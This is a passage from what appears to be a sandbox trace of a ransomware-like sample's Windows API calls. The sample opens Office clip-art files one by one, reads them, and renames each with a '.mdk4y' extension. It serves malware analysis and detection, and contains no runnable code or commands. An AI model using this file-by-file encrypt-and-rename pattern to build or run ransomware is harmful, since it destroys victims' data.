lpUsedDefaultChar=0x37df4c) returned 12 [0138.134] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0138.135] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821336500000) returned 1 [0138.135] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa4c, lpOverlapped=0x0) returned 1 [0138.139] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821336900000) returned 1 [0138.139] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821336900000) returned 1 [0138.139] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf.mdk4y")) returned 1 [0138.140] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0138.140] AreFileApisANSI () returned 1 [0138.140] GetACP () returned 0x4e4 [0138.140] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD02153_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD02153_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0138.140] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0138.140] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821337000000) returned 1 [0138.140] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1510, lpOverlapped=0x0) returned 1 [0138.142] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821337200000) returned 1 [0138.142] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821337200000) returned 1 [0138.142] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf.mdk4y")) returned 1 [0138.143] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0138.143] AreFileApisANSI () returned 1 [0138.143] GetACP () returned 0x4e4 [0138.143] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD02158_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD02158_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0138.143] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0138.143] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821337300000) returned 1 [0138.143] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x670, lpOverlapped=0x0) returned 1 [0138.161] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821339100000) returned 1 [0138.161] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821339100000) returned 1 [0138.161] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf.mdk4y")) returned 1 [0138.162] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0138.162] AreFileApisANSI () returned 1 [0138.162] GetACP () returned 0x4e4 [0138.162] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD02161_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD02161_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0138.162] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0138.162] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821339200000) returned 1 [0138.162] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xc38, lpOverlapped=0x0) returned 1 [0138.176] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821340600000) returned 1 [0138.176] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821340600000) returned 1 [0138.176] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf.mdk4y")) returned 1 [0138.177] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0138.177] AreFileApisANSI () returned 1 [0138.177] GetACP () returned 0x4e4 [0138.177] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FINCL_01.MID", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FINCL_01.MID", lpUsedDefaultChar=0x37df4c) returned 12 [0138.177] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0138.178] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821340800000) returned 1 [0138.178] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x32b5, lpOverlapped=0x0) returned 1 [0138.220] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821345000000) returned 1 [0138.220] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821345000000) returned 1 [0138.220] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid.mdk4y")) returned 1 [0138.221] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0138.221] AreFileApisANSI () returned 1 [0138.221] GetACP () returned 0x4e4 [0138.221] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FINCL_02.MID", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FINCL_02.MID", lpUsedDefaultChar=0x37df4c) returned 12 [0138.221] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0138.222] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821345200000) returned 1 [0138.222] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2466, lpOverlapped=0x0) returned 1 [0138.343] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821357300000) returned 1 [0138.343] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821357300000) returned 1 [0138.344] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid.mdk4y")) returned 1 [0138.344] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0138.344] AreFileApisANSI () returned 1 [0138.344] GetACP () returned 0x4e4 [0138.344] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FLAP.WMF", cchWideChar=8, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FLAP.WMF.MID", lpUsedDefaultChar=0x37df4c) returned 8 [0138.345] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0138.345] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821357500000) returned 1 [0138.345] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x816, lpOverlapped=0x0) returned 1 [0138.374] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821360700000) returned 1 [0138.377] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821360700000) returned 1 [0138.377] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf.mdk4y")) returned 1 [0138.378] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0138.378] AreFileApisANSI () returned 1 [0138.378] GetACP () returned 0x4e4 [0138.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GRDEN_01.MID", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="GRDEN_01.MID", lpUsedDefaultChar=0x37df4c) returned 12 [0138.378] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0138.379] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821360900000) returned 1 [0138.379] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1d8f, lpOverlapped=0x0) returned 1 [0138.405] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821363500000) returned 1 [0138.405] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821363500000) returned 1 [0138.406] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid.mdk4y")) returned 1 [0138.407] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0138.407] AreFileApisANSI () returned 1 [0138.407] GetACP () returned 0x4e4 [0138.407] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GRID_01.MID", cchWideChar=11, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="GRID_01.MIDD", lpUsedDefaultChar=0x37df4c) returned 11 [0138.407] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0138.407] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821363700000) returned 1 [0138.407] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x18bb, lpOverlapped=0x0) returned 1 [0138.417] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821364700000) returned 1 [0138.417] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821364700000) returned 1 [0138.418] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid.mdk4y")) returned 1 [0138.418] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0138.418] AreFileApisANSI () returned 1 [0138.418] GetACP () returned 0x4e4 [0138.418] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HH00057_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HH00057_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0138.418] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0138.419] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821364900000) returned 1 [0138.419] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xeb4, lpOverlapped=0x0) returned 1 [0138.441] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821367100000) returned 1 [0138.441] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821367100000) returned 1 [0138.442] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf.mdk4y")) returned 1 [0138.442] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0138.442] AreFileApisANSI () returned 1 [0138.442] GetACP () returned 0x4e4 [0138.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HH00084_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HH00084_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0138.443] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0138.598] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821382800000) returned 1 [0138.598] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9a8, lpOverlapped=0x0) returned 1 [0138.626] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821385600000) returned 1 [0138.626] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821385600000) returned 1 [0138.627] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf.mdk4y")) returned 1 [0138.628] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0138.628] AreFileApisANSI () returned 1 [0138.628] GetACP () returned 0x4e4 [0138.628] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HH00231_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HH00231_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0138.628] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0138.629] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821385900000) returned 1 [0138.629] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8b8, lpOverlapped=0x0) returned 1 [0138.674] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821390400000) returned 1 [0138.674] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821390400000) returned 1 [0138.675] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf.mdk4y")) returned 1 [0138.675] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0138.675] AreFileApisANSI () returned 1 [0138.675] GetACP () returned 0x4e4 [0138.675] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HH00235_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HH00235_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0138.676] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0138.676] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821390600000) returned 1 [0138.676] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x402, lpOverlapped=0x0) returned 1 [0138.709] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821393900000) returned 1 [0138.709] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821393900000) returned 1 [0138.710] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf.mdk4y")) returned 1 [0138.710] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0138.710] AreFileApisANSI () returned 1 [0138.710] GetACP () returned 0x4e4 [0138.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HH00236_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HH00236_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0138.711] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0138.711] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821394100000) returned 1 [0138.711] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xcd6, lpOverlapped=0x0) returned 1 [0138.722] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821395200000) returned 1 [0138.722] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821395200000) returned 1 [0138.722] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf.mdk4y")) returned 1 [0138.723] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0138.723] AreFileApisANSI () returned 1 [0138.723] GetACP () returned 0x4e4 [0138.723] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HH00241_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HH00241_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0138.723] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, 